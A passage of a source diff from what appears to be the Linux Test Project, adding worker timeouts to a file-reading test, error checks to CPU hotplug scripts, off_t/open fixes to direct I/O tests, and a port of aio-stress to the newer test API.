0; + + pushed = try_push_work(j, path); + i += pushed; + workers_pushed += pushed; + + if (!pushed) + min_ttl = MIN(min_ttl, worker_ttl(j)); } + + return j; } static void setup(void) { + struct timespec now; + if (tst_parse_int(str_reads, &reads, 1, INT_MAX)) tst_brk(TBROK, "Invalid reads (-r) argument: '%s'", str_reads); @@ -366,13 +551,65 @@ static void setup(void) tst_brk(TBROK, "The directory argument (-d) is required"); if (!worker_count) - worker_count = MIN(MAX(tst_ncpus() - 1, 1), max_workers); + worker_count = MIN(MAX(tst_ncpus() - 1, 1L), max_workers); workers = SAFE_MALLOC(worker_count * sizeof(*workers)); + + if (tst_parse_int(str_worker_timeout, &worker_timeout, 1, INT_MAX)) { + tst_brk(TBROK, + "Invalid worker timeout (-t) argument: '%s'", + str_worker_count); + } + + if (worker_timeout) { + tst_res(TINFO, "Worker timeout forcibly set to %dms", + worker_timeout); + } else { + worker_timeout = 10 * tst_remaining_runtime(); + tst_res(TINFO, "Worker timeout set to 10%% of max_runtime: %dms", + worker_timeout); + } + worker_timeout *= 1000; + + SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC_RAW, &now); + epoch = tst_timespec_to_us(now); +} + +static void reap_children(void) +{ + int status, bad_exit = 0; + pid_t pid; + + for (;;) { + pid = wait(&status); + + if (pid > 0) { + if (!WIFEXITED(status)) + bad_exit = 1; + + continue; + } + + if (errno == ECHILD) + break; + + if (errno == EINTR) + continue; + + tst_brk(TBROK | TERRNO, "wait() failed"); + } + + if (!bad_exit) + return; + + tst_res(TINFO, + "Zombie workers detected; consider increasing LTP_RUNTIME_MUL"); } static void cleanup(void) { stop_workers(); + reap_children(); + destroy_workers(); free(workers); } @@ -383,6 +620,7 @@ static void visit_dir(const char *path) struct stat dent_st; char dent_path[MAX_PATH]; enum dent_action act; + int last_sched = 0; dir = opendir(path); if (!dir) { @@ -430,7 +668,7 @@ static void visit_dir(const char *path) if (act == DA_VISIT) visit_dir(dent_path); else if (act == DA_READ) - rep_sched_work(dent_path, reads); + last_sched = sched_work(last_sched, dent_path, reads); } if (closedir(dir)) @@ -441,9 +679,11 @@ static void run(void) { spawn_workers(); visit_dir(root_dir); + stop_workers(); + reap_children(); + destroy_workers(); - tst_reap_children(); tst_res(TPASS, "Finished reading files"); } @@ -465,11 +705,13 @@ static struct tst_test test = { "Count Override the worker count. Ignores (-w) and the processor count."}, {"p", &drop_privs, "Drop privileges; switch to the nobody user."}, + {"t:", &str_worker_timeout, + "Milliseconds a worker has to read a file before it is restarted"}, {} }, .setup = setup, .cleanup = cleanup, .test_all = run, .forks_child = 1, + .max_runtime = 100, }; - diff --git a/testcases/kernel/fs/scsi/ltpfs/main.c b/testcases/kernel/fs/scsi/ltpfs/main.c index dc3e8f30..90a5531a 100755 --- a/testcases/kernel/fs/scsi/ltpfs/main.c +++ b/testcases/kernel/fs/scsi/ltpfs/main.c @@ -38,7 +38,7 @@ int startc = 0; int showchar[] = { 124, 47, 45, 92, 124, 47, 45, 92 }; int nullFileHandle; -int openlog[2] = { 0, 0 }; +static int openlog[2] = { 0, 0 }; int cFileCount, dFileCount, errorCount; static int disk_space_pool = 0; @@ -391,7 +391,7 @@ int LTP_fs_open_block_device() { dev_t devt; struct stat statbuf; - int rc; + int rc = 0; if (ltp_block_dev_handle == 0) { diff --git a/testcases/kernel/fs/scsi/ltpscsi/scsimain.c b/testcases/kernel/fs/scsi/ltpscsi/scsimain.c index ae484e0f..ce23ae1e 100755 --- a/testcases/kernel/fs/scsi/ltpscsi/scsimain.c +++ b/testcases/kernel/fs/scsi/ltpscsi/scsimain.c @@ -28,6 +28,7 @@ [0x12][ |lu][pg cde][res ][al len][cntrl ] */ +#define _GNU_SOURCE #include #include #include @@ -53,10 +54,6 @@ #define ME "scsimain: " -#ifndef O_DIRECT -#define O_DIRECT 040000 -#endif - #define NUMERIC_SCAN_DEF 1 /* change to 0 to make alpha scan default */ //static char * version_str = "0.21 20030513"; diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh index f12aabc7..ba274db0 100755 --- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh +++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh @@ -90,7 +90,10 @@ until [ $LOOP_COUNT -gt $HOTPLUG02_LOOPS ]; do set_affinity ${SPIN_LOOP_PID} ${CPU_TO_TEST} # Verify the process migrated to the CPU we intended it to go to - offline_cpu ${CPU_TO_TEST} + if ! offline_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined" + fi + NEW_CPU=`ps --pid=${SPIN_LOOP_PID} -o psr --no-headers` if [ -z "${NEW_CPU}" ]; then tst_brkm TBROK "PID ${SPIN_LOOP_PID} no longer running" @@ -101,7 +104,10 @@ until [ $LOOP_COUNT -gt $HOTPLUG02_LOOPS ]; do fi # Turn the CPU back online just to see what happens. - online_cpu ${CPU_TO_TEST} + if ! online_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined" + fi + LOOP_COUNT=$((LOOP_COUNT+1)) done diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh index 2feb8d9f..1eb204f4 100755 --- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh +++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh @@ -36,7 +36,9 @@ EOF do_clean() { pid_is_valid ${SAR_PID} && kill_pid ${SAR_PID} - online_cpu "$CPU_TO_TEST" + if ! online_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined" + fi } get_field() @@ -149,7 +151,10 @@ until [ $LOOP_COUNT -gt $HOTPLUG05_LOOPS ]; do tst_exit fi - offline_cpu ${CPU_TO_TEST} + if ! offline_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined" + fi + kill_pid ${SAR_PID} LOOP_COUNT=$((LOOP_COUNT+1)) diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh index 319c6653..b9c1889d 100755 --- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh +++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh @@ -99,7 +99,10 @@ until [ $LOOP_COUNT -gt $HOTPLUG06_LOOPS ]; do tst_exit fi - online_cpu ${CPU_TO_TEST} + if ! online_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined" + fi + kill_pid ${TOP_PID} LOOP_COUNT=$((LOOP_COUNT+1)) diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh index 0d2dec7f..af170f1c 100755 --- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh +++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh @@ -100,9 +100,9 @@ until [ $LOOP_COUNT -gt $HOTPLUG07_LOOPS ]; do # Move spin_loop.sh to the CPU to offline. set_affinity ${KCOMPILE_LOOP_PID} ${CPU_TO_TEST} - offline_cpu ${CPU_TO_TEST} - RC=$? - echo "Offlining cpu${CPU_TO_TEST}: Return Code = ${RC}" + if ! offline_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be offlined" + fi NEW_CPU=`ps --pid=${KCOMPILE_LOOP_PID} -o psr --no-headers` if [ -z "${NEW_CPU}" ]; then @@ -113,9 +113,9 @@ until [ $LOOP_COUNT -gt $HOTPLUG07_LOOPS ]; do tst_exit fi - online_cpu ${CPU_TO_TEST} - RC=$? - echo "Onlining cpu${CPU_TO_TEST}: Return Code = ${RC}" + if ! online_cpu ${CPU_TO_TEST}; then + tst_brkm TBROK "CPU${CPU_TO_TEST} cannot be onlined" + fi LOOP_COUNT=$((LOOP_COUNT+1)) diff --git a/testcases/kernel/input/input06.c b/testcases/kernel/input/input06.c index 14141b71..b698c277 100755 --- a/testcases/kernel/input/input06.c +++ b/testcases/kernel/input/input06.c @@ -178,7 +178,7 @@ static int parse_key(struct input_event *iev) iev = next_event(); } - /* make sure we have atleast one auto-repeated key event */ + /* make sure we have at least one auto-repeated key event */ if (!autorep_count) { tst_resm(TFAIL, "Didn't get autorepeat events for the key - KEY_X"); diff --git a/testcases/kernel/input/input_helper.c b/testcases/kernel/input/input_helper.c index a014861d..09530fb4 100755 --- a/testcases/kernel/input/input_helper.c +++ b/testcases/kernel/input/input_helper.c @@ -175,7 +175,7 @@ void send_event(int fd, int event, int code, int value) .value = value, }; - SAFE_WRITE(NULL, 1, fd, &ev, sizeof(ev)); + SAFE_WRITE(NULL, SAFE_WRITE_ALL, fd, &ev, sizeof(ev)); } void send_rel_move(int fd, int x, int y) @@ -198,7 +198,7 @@ void create_device(int fd) } }; - SAFE_WRITE(NULL, 1, fd, &uidev, sizeof(uidev)); + SAFE_WRITE(NULL, SAFE_WRITE_ALL, fd, &uidev, sizeof(uidev)); SAFE_IOCTL(NULL, fd, UI_DEV_CREATE, NULL); for (nb = 100; nb > 0; nb--) { @@ -249,27 +249,18 @@ int check_sync_event(struct input_event *iev) int no_events_queued(int fd, int stray_sync_event) { struct pollfd fds = {.fd = fd, .events = POLLIN}; - int ret, res, sync_event_ignored; + int ret, res; struct input_event ev; - if (tst_kvercmp(3, 7, 0) < 0 && stray_sync_event) - sync_event_ignored = 1; - ret = poll(&fds, 1, 30); if (ret > 0) { res = read(fd, &ev, sizeof(ev)); if (res == sizeof(ev)) { - if (sync_event_ignored && check_sync_event(&ev)) { - ret = 0; - tst_resm(TINFO, - "Ignoring stray sync event (known problem)"); - } else { - tst_resm(TINFO, - "Unexpected ev type=%i code=%i value=%i", - ev.type, ev.code, ev.value); - } + tst_resm(TINFO, + "Unexpected ev type=%i code=%i value=%i", + ev.type, ev.code, ev.value); } } diff --git a/testcases/kernel/io/direct_io/Makefile b/testcases/kernel/io/direct_io/Makefile index 777f7b16..7480d7b0 100755 --- a/testcases/kernel/io/direct_io/Makefile +++ b/testcases/kernel/io/direct_io/Makefile @@ -5,7 +5,7 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -CFLAGS += -DSHARED_OFILE -D_GNU_SOURCE +CFLAGS += -DSHARED_OFILE -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE LDLIBS += -lpthread diff --git a/testcases/kernel/io/direct_io/diotest1.c b/testcases/kernel/io/direct_io/diotest1.c index 327df6ce..03a054b4 100755 --- a/testcases/kernel/io/direct_io/diotest1.c +++ b/testcases/kernel/io/direct_io/diotest1.c @@ -137,7 +137,7 @@ int main(int argc, char *argv[]) for (i = 0; i < numblks; i++) { fillbuf(buf, bufsize, (char)(i % 256)); - SAFE_WRITE(cleanup, 1, fd1, buf, bufsize); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd1, buf, bufsize); } /* Copy infile to outfile using direct read and direct write */ @@ -147,7 +147,7 @@ int main(int argc, char *argv[]) while ((n = read(fd1, buf, bufsize)) > 0) { SAFE_LSEEK(cleanup, fd2, offset, SEEK_SET); - SAFE_WRITE(cleanup, 1, fd2, buf, n); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd2, buf, n); offset += n; SAFE_LSEEK(cleanup, fd1, offset, SEEK_SET); diff --git a/testcases/kernel/io/direct_io/diotest2.c b/testcases/kernel/io/direct_io/diotest2.c index c407c46a..db47ee8e 100755 --- a/testcases/kernel/io/direct_io/diotest2.c +++ b/testcases/kernel/io/direct_io/diotest2.c @@ -78,7 +78,7 @@ int bufsize = BUFSIZE; * For each iteration, write data starting at offse+iter*bufsize * location in the file and read from there. */ -int runtest(int fd_r, int fd_w, int iter, off64_t offset, int action) +int runtest(int fd_r, int fd_w, int iter, off_t offset, int action) { char *buf1; char *buf2; @@ -136,7 +136,7 @@ static void cleanup(void); int main(int argc, char *argv[]) { int iter = 100; /* Iterations. Default 100 */ - off64_t offset = 0; /* Offset. Default 0 */ + off_t offset = 0; /* Offset. Default 0 */ int i, action, fd_r, fd_w; int fail_count = 0, total = 0, failed = 0; diff --git a/testcases/kernel/io/direct_io/diotest3.c b/testcases/kernel/io/direct_io/diotest3.c index 92f7afaa..ba2fd047 100755 --- a/testcases/kernel/io/direct_io/diotest3.c +++ b/testcases/kernel/io/direct_io/diotest3.c @@ -292,6 +292,7 @@ int main(int argc, char *argv[]) } unlink(filename); free(pidlst); + fflush(stdout); total++; /* Testblock-2: Write with Direct IO, Read without */ @@ -309,6 +310,7 @@ int main(int argc, char *argv[]) } unlink(filename); free(pidlst); + fflush(stdout); total++; /* Testblock-3: Read, Write with Direct IO. */ diff --git a/testcases/kernel/io/direct_io/diotest4.c b/testcases/kernel/io/direct_io/diotest4.c index f3c9c19d..45c677b5 100755 --- a/testcases/kernel/io/direct_io/diotest4.c +++ b/testcases/kernel/io/direct_io/diotest4.c @@ -62,7 +62,6 @@ #include #include #include -#include #include #include diff --git a/testcases/kernel/io/direct_io/diotest5.c b/testcases/kernel/io/direct_io/diotest5.c index 9bf917c6..ac66f2a0 100755 --- a/testcases/kernel/io/direct_io/diotest5.c +++ b/testcases/kernel/io/direct_io/diotest5.c @@ -75,14 +75,14 @@ int TST_TOTAL = 3; /* Total number of test conditions */ static int bufsize = BUFSIZE; /* Buffer size. Default 4k */ static int iter = 20; /* Iterations. Default 20 */ static int nvector = 20; /* Vector array. Default 20 */ -static off64_t offset = 0; /* Start offset. Default 0 */ +static off_t offset = 0; /* Start offset. Default 0 */ static char filename[LEN]; /* Test data file */ static int fd1 = -1; /* * runtest: Write the data in vector array to the file. Read the data * from the file into another vectory array and verify. Repeat the test. */ -int runtest(int fd_r, int fd_w, int iter, off64_t offset, int action) +int runtest(int fd_r, int fd_w, int iter, off_t offset, int action) { int i; struct iovec *iov1, *iov2, *iovp; @@ -218,7 +218,7 @@ int main(int argc, char *argv[]) tst_brkm(TBROK, cleanup, "fd_w open failed for %s: %s", filename, strerror(errno)); } - if ((fd_r = open64(filename, O_DIRECT | O_RDONLY | O_CREAT, 0666)) < 0) { + if ((fd_r = open(filename, O_DIRECT | O_RDONLY | O_CREAT, 0666)) < 0) { tst_brkm(TBROK, cleanup, "fd_r open failed for %s: %s", filename, strerror(errno)); } @@ -240,7 +240,7 @@ int main(int argc, char *argv[]) tst_brkm(TBROK, cleanup, "fd_w open failed for %s: %s", filename, strerror(errno)); } - if ((fd_r = open64(filename, O_RDONLY | O_CREAT, 0666)) < 0) { + if ((fd_r = open(filename, O_RDONLY | O_CREAT, 0666)) < 0) { tst_brkm(TBROK, cleanup, "fd_r open failed for %s: %s", filename, strerror(errno)); } @@ -261,7 +261,7 @@ int main(int argc, char *argv[]) tst_brkm(TBROK, cleanup, "fd_w open failed for %s: %s", filename, strerror(errno)); } - if ((fd_r = open64(filename, O_DIRECT | O_RDONLY | O_CREAT, 0666)) < 0) { + if ((fd_r = open(filename, O_DIRECT | O_RDONLY | O_CREAT, 0666)) < 0) { tst_brkm(TBROK, cleanup, "fd_r open failed for %s: %s", filename, strerror(errno)); } diff --git a/testcases/kernel/io/direct_io/diotest6.c b/testcases/kernel/io/direct_io/diotest6.c index a06e6b82..fb925ff0 100755 --- a/testcases/kernel/io/direct_io/diotest6.c +++ b/testcases/kernel/io/direct_io/diotest6.c @@ -62,7 +62,7 @@ int TST_TOTAL = 3; static int iter = 100; static int bufsize = BUFSIZE; -static off64_t offset = 0; +static off_t offset = 0; static int nvector = 20; static char filename[LEN]; static int fd1 = -1; @@ -84,7 +84,7 @@ static void prg_usage(void) */ int runtest(int fd_r, int fd_w, int childnum, int action) { - off64_t seekoff; + off_t seekoff; int i, ret = -1; ssize_t n = 0; struct iovec *iov_r, *iov_w; @@ -320,6 +320,7 @@ int main(int argc, char *argv[]) } unlink(filename); free(pidlst); + fflush(stdout); total++; /* Testblock-2: Write with Direct IO, Read without */ @@ -337,6 +338,7 @@ int main(int argc, char *argv[]) } unlink(filename); free(pidlst); + fflush(stdout); total++; /* Testblock-3: Read, Write with Direct IO. */ diff --git a/testcases/kernel/io/ltp-aiodio/.gitignore b/testcases/kernel/io/ltp-aiodio/.gitignore index f5f20d57..09a49bfb 100755 --- a/testcases/kernel/io/ltp-aiodio/.gitignore +++ b/testcases/kernel/io/ltp-aiodio/.gitignore @@ -7,4 +7,3 @@ /dio_truncate /dio_read /dirty -/read_checkzero diff --git a/testcases/kernel/io/ltp-aiodio/aio-stress.c b/testcases/kernel/io/ltp-aiodio/aio-stress.c index 348f398d..5c3a0a3a 100755 --- a/testcases/kernel/io/ltp-aiodio/aio-stress.c +++ b/testcases/kernel/io/ltp-aiodio/aio-stress.c @@ -1,51 +1,25 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2004 SuSE, Inc. All Rights Reserved. + * Written by: Chris Mason + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * - * aio-stress - * - * will open or create each file on the command line, and start a series - * of aio to it. - * - * aio is done in a rotating loop. first file1 gets 8 requests, then - * file2, then file3 etc. As each file finishes writing, it is switched - * to reads - * - * io buffers are aligned in case you want to do raw io - * - * compile with gcc -Wall -laio -lpthread -o aio-stress aio-stress.c - * - * run aio-stress -h to see the options - * - * Please mail Chris Mason (mason@suse.com) with bug reports or patches + * Test creates a series of files and start AIO operations on them. + * AIO is done in a rotating loop: first file1.bin gets 8 requests, then + * file2.bin, then file3.bin etc. As each file finishes writing, test switches + * to reads. IO buffers are aligned in case we want to do direct IO. */ + #define _FILE_OFFSET_BITS 64 -#define PROG_VERSION "0.21" -#define NEW_GETEVENTS #define _GNU_SOURCE +#include "tst_test.h" + +#ifdef HAVE_LIBAIO #include #include #include @@ -60,16 +34,12 @@ #include #include #include - -#include "config.h" -#include "tst_res_flags.h" - -#ifdef HAVE_LIBAIO #include +#include "tst_safe_pthread.h" +#include "tst_safe_sysv_ipc.h" #define IO_FREE 0 #define IO_PENDING 1 -#define RUN_FOREVER -1 enum { WRITE, @@ -83,52 +53,51 @@ enum { #define USE_SHM 1 #define USE_SHMFS 2 -/* - * various globals, these are effectively read only by the time the threads - * are started - */ -long stages = 0; -unsigned long page_size_mask; -int o_direct = 0; -int o_sync = 0; -int latency_stats = 0; -int completion_latency_stats = 0; -int io_iter = 8; -int iterations = RUN_FOREVER; -int max_io_submit = 0; -long rec_len = 64 * 1024; -int depth = 64; -int num_threads = 1; -int num_contexts = 1; -off_t context_offset = 2 * 1024 * 1024; -int fsync_stages = 1; -int use_shm = 0; -int shm_id; -char *unaligned_buffer = NULL; -char *aligned_buffer = NULL; -int padded_reclen = 0; -int stonewall = 1; -int verify = 0; -char *verify_buf = NULL; -int unlink_files = 0; - -struct io_unit; -struct thread_info; - -/* pthread mutexes and other globals for keeping the threads in sync */ -pthread_cond_t stage_cond = PTHREAD_COND_INITIALIZER; -pthread_mutex_t stage_mutex = PTHREAD_MUTEX_INITIALIZER; -int threads_ending = 0; -int threads_starting = 0; -struct timeval global_stage_start_time; -struct thread_info *global_thread_info; +static char *str_num_files; +static char *str_max_io_submit; +static char *str_num_contexts; +static char *str_context_offset; +static char *str_file_size; +static char *str_rec_len; +static char *str_depth; +static char *str_io_iter; +static char *str_iterations; +static char *str_o_flag; +static char *str_stages; +static char *str_use_shm; +static char *str_num_threads; + +static int num_files = 1; +static long long file_size = 1024 * 1024 * 1024; +static long stages; +static unsigned long page_size_mask; +static int o_flag; +static char *latency_stats; +static char *completion_latency_stats; +static int io_iter = 8; +static int iterations = 500; +static int max_io_submit; +static long long rec_len = 64 * 1024; +static int depth = 64; +static int num_threads = 1; +static int num_contexts = 1; +static long long context_offset = 2 * 1024 * 1024; +static char *no_fsync_stages; +static int use_shm; +static int shm_id; +static char *unaligned_buffer; +static char *aligned_buffer; +static int padded_reclen; +static char *verify; +static char *verify_buf; +static char *unlink_files; /* * latencies during io_submit are measured, these are the * granularities for deviations */ #define DEVIATIONS 6 -int deviations[DEVIATIONS] = { 100, 250, 500, 1000, 5000, 10000 }; +static int deviations[DEVIATIONS] = { 100, 250, 500, 1000, 5000, 10000 }; struct io_latency { double max; @@ -140,7 +109,8 @@ struct io_latency { /* container for a series of operations to a file */ struct io_oper { - /* already open file descriptor, valid for whatever operation you want */ + /* already open file descriptor, valid for whatever operation you want + */ int fd; /* starting byte of the operation */ @@ -210,7 +180,7 @@ struct io_unit { struct io_unit *next; - struct timeval io_start_time; /* time of io_submit */ + struct timeval io_start_time; /* time of io_submit */ }; struct thread_info { @@ -255,6 +225,11 @@ struct thread_info { struct io_latency io_completion_latency; }; +/* pthread mutexes and other globals for keeping the threads in sync */ +static pthread_barrier_t worker_barrier; +static struct timeval global_stage_start_time; +static struct thread_info *global_thread_info; + /* * return seconds between start_tv and stop_tv in double precision */ @@ -262,15 +237,18 @@ static double time_since(struct timeval *start_tv, struct timeval *stop_tv) { double sec, usec; double ret; + sec = stop_tv->tv_sec - start_tv->tv_sec; usec = stop_tv->tv_usec - start_tv->tv_usec; if (sec > 0 && usec < 0) { sec--; usec += 1000000; } + ret = sec + usec / (double)1000000; if (ret < 0) ret = 0; + return ret; } @@ -280,7 +258,9 @@ static double time_since(struct timeval *start_tv, struct timeval *stop_tv) static double time_since_now(struct timeval *start_tv) { struct timeval stop_time; + gettimeofday(&stop_time, NULL); + return time_since(start_tv, &stop_time); } @@ -292,15 +272,19 @@ static void calc_latency(struct timeval *start_tv, struct timeval *stop_tv, { double delta; int i; + delta = time_since(start_tv, stop_tv); delta = delta * 1000; if (delta > lat->max) lat->max = delta; + if (!lat->min || delta < lat->min) lat->min = delta; + lat->total_io++; lat->total_lat += delta; + for (i = 0; i < DEVIATIONS; i++) { if (delta < deviations[i]) { lat->deviations[i]++; @@ -316,11 +300,12 @@ static void oper_list_add(struct io_oper *oper, struct io_oper **list) oper->prev = oper->next = oper; return; } + oper->prev = (*list)->prev; oper->next = *list; + (*list)->prev->next = oper; (*list)->prev = oper; - return; } static void oper_list_del(struct io_oper *oper, struct io_oper **list) @@ -329,8 +314,10 @@ static void oper_list_del(struct io_oper *oper, struct io_oper **list) *list = NULL; return; } + oper->prev->next = oper->next; oper->next->prev = oper->prev; + if (*list == oper) *list = oper->next; } @@ -339,10 +326,11 @@ static void oper_list_del(struct io_oper *oper, struct io_oper **list) static int check_finished_io(struct io_unit *io) { int i; - if (io->res != io->buf_size) { + if (io->res != io->buf_size) { struct stat s; - fstat(io->io_oper->fd, &s); + + SAFE_FSTAT(io->io_oper->fd, &s); /* * If file size is large enough for the read, then this short @@ -351,32 +339,29 @@ static int check_finished_io(struct io_unit *io) if ((io->io_oper->rw == READ || io->io_oper->rw == RREAD) && s.st_size > (io->iocb.u.c.offset + io->res)) { - fprintf(stderr, - "io err %lu (%s) op %d, off %Lu size %d\n", - io->res, strerror(-io->res), - io->iocb.aio_lio_opcode, io->iocb.u.c.offset, - io->buf_size); + tst_res(TINFO, "io err %lu (%s) op %d, off %llu size %d", + io->res, tst_strerrno(-io->res), io->iocb.aio_lio_opcode, + io->iocb.u.c.offset, io->buf_size); io->io_oper->last_err = io->res; io->io_oper->num_err++; return -1; } } + if (verify && io->io_oper->rw == READ) { if (memcmp(io->buf, verify_buf, io->io_oper->reclen)) { - fprintf(stderr, - "verify error, file %s offset %Lu contents (offset:bad:good):\n", + tst_res(TINFO, "verify error, file %s offset %llu contents (offset:bad:good):", io->io_oper->file_name, io->iocb.u.c.offset); for (i = 0; i < io->io_oper->reclen; i++) { if (io->buf[i] != verify_buf[i]) { - fprintf(stderr, "%d:%c:%c ", i, + tst_res(TINFO, "%d:%c:%c ", i, io->buf[i], verify_buf[i]); } } - fprintf(stderr, "\n"); } - } + return 0; } @@ -389,10 +374,11 @@ static int grab_iou(struct io_unit *io, struct io_oper *oper) io->busy = IO_PENDING; io->res = 0; io->io_oper = oper; + return 0; } -char *stage_name(int rw) +static char *stage_name(int rw) { switch (rw) { case WRITE: @@ -404,13 +390,13 @@ char *stage_name(int rw) case RREAD: return "random read"; } + return "unknown"; } static inline double oper_mb_trans(struct io_oper *oper) { - return ((double)oper->started_ios * (double)oper->reclen) / - (double)(1024 * 1024); + return ((double)oper->started_ios * (double)oper->reclen) / (double)(1024 * 1024); } static void print_time(struct io_oper *oper) @@ -422,38 +408,45 @@ static void print_time(struct io_oper *oper) runtime = time_since_now(&oper->start_time); mb = oper_mb_trans(oper); tput = mb / runtime; - fprintf(stderr, "%s on %s (%.2f MB/s) %.2f MB in %.2fs\n", + + tst_res(TINFO, "%s on %s (%.2f MB/s) %.2f MB in %.2fs", stage_name(oper->rw), oper->file_name, tput, mb, runtime); } static void print_lat(char *str, struct io_latency *lat) { + char out[4 * 1024]; + char *ptr = out; double avg = lat->total_lat / lat->total_io; int i; double total_counted = 0; - fprintf(stderr, "%s min %.2f avg %.2f max %.2f\n\t", - str, lat->min, avg, lat->max); + + tst_res(TINFO, "%s min %.2f avg %.2f max %.2f", str, lat->min, avg, lat->max); for (i = 0; i < DEVIATIONS; i++) { - fprintf(stderr, " %.0f < %d", lat->deviations[i], - deviations[i]); + ptr += sprintf(ptr, "%.0f < %d", lat->deviations[i], deviations[i]); total_counted += lat->deviations[i]; } + if (total_counted && lat->total_io - total_counted) - fprintf(stderr, " < %.0f", lat->total_io - total_counted); - fprintf(stderr, "\n"); + ptr += sprintf(ptr, " < %.0f", lat->total_io - total_counted); + + tst_res(TINFO, "%s", out); + memset(lat, 0, sizeof(*lat)); } static void print_latency(struct thread_info *t) { struct io_latency *lat = &t->io_submit_latency; + print_lat("latency", lat); } static void print_completion_latency(struct thread_info *t) { struct io_latency *lat = &t->io_completion_latency; + print_lat("completion latency", lat); } @@ -461,8 +454,8 @@ static void print_completion_latency(struct thread_info *t) * updates the fields in the io operation struct that belongs to this * io unit, and make the io unit reusable again */ -void finish_io(struct thread_info *t, struct io_unit *io, long result, - struct timeval *tv_now) +static void finish_io(struct thread_info *t, struct io_unit *io, long result, + struct timeval *tv_now) { struct io_oper *oper = io->io_oper; @@ -474,13 +467,14 @@ void finish_io(struct thread_info *t, struct io_unit *io, long result, oper->num_pending--; t->num_global_pending--; check_finished_io(io); + if (oper->num_pending == 0 && (oper->started_ios == oper->total_ios || oper->stonewalled)) { print_time(oper); } } -int read_some_events(struct thread_info *t) +static int read_some_events(struct thread_info *t) { struct io_unit *event_io; struct io_event *event; @@ -492,21 +486,18 @@ int read_some_events(struct thread_info *t) if (t->num_global_pending < io_iter) min_nr = t->num_global_pending; -#ifdef NEW_GETEVENTS - nr = io_getevents(t->io_ctx, min_nr, t->num_global_events, t->events, - NULL); -#else - nr = io_getevents(t->io_ctx, t->num_global_events, t->events, NULL); -#endif + nr = io_getevents(t->io_ctx, min_nr, t->num_global_events, t->events, NULL); if (nr <= 0) return nr; gettimeofday(&stop_time, NULL); + for (i = 0; i < nr; i++) { event = t->events + i; event_io = (struct io_unit *)((unsigned long)event->obj); finish_io(t, event_io, event->res, &stop_time); } + return nr; } @@ -523,17 +514,19 @@ retry: if (t->free_ious) { event_io = t->free_ious; t->free_ious = t->free_ious->next; - if (grab_iou(event_io, oper)) { - fprintf(stderr, "io unit on free list but not free\n"); - abort(); - } + + if (grab_iou(event_io, oper)) + tst_brk(TBROK, "io unit on free list but not free"); + return event_io; } + nr = read_some_events(t); if (nr > 0) goto retry; else - fprintf(stderr, "no free ious after read_some_events\n"); + tst_res(TINFO, "no free ious after read_some_events"); + return NULL; } @@ -545,22 +538,18 @@ static int io_oper_wait(struct thread_info *t, struct io_oper *oper) struct io_event event; struct io_unit *event_io; - if (oper == NULL) { + if (!oper) return 0; - } if (oper->num_pending == 0) goto done; - /* this func is not speed sensitive, no need to go wild reading - * more than one event at a time - */ -#ifdef NEW_GETEVENTS + /* this func is not speed sensitive, no need to go wild reading + * more than one event at a time + */ while (io_getevents(t->io_ctx, 1, 1, &event, NULL) > 0) { -#else - while (io_getevents(t->io_ctx, 1, &event, NULL) > 0) { -#endif struct timeval tv_now; + event_io = (struct io_unit *)((unsigned long)event.obj); gettimeofday(&tv_now, NULL); @@ -570,14 +559,13 @@ static int io_oper_wait(struct thread_info *t, struct io_oper *oper) break; } done: - if (oper->num_err) { - fprintf(stderr, "%u errors on oper, last %u\n", - oper->num_err, oper->last_err); - } + if (oper->num_err) + tst_res(TINFO, "%u errors on oper, last %u", oper->num_err, oper->last_err); + return 0; } -off_t random_byte_offset(struct io_oper * oper) +static off_t random_byte_offset(struct io_oper *oper) { off_t num; off_t rand_byte = oper->start; @@ 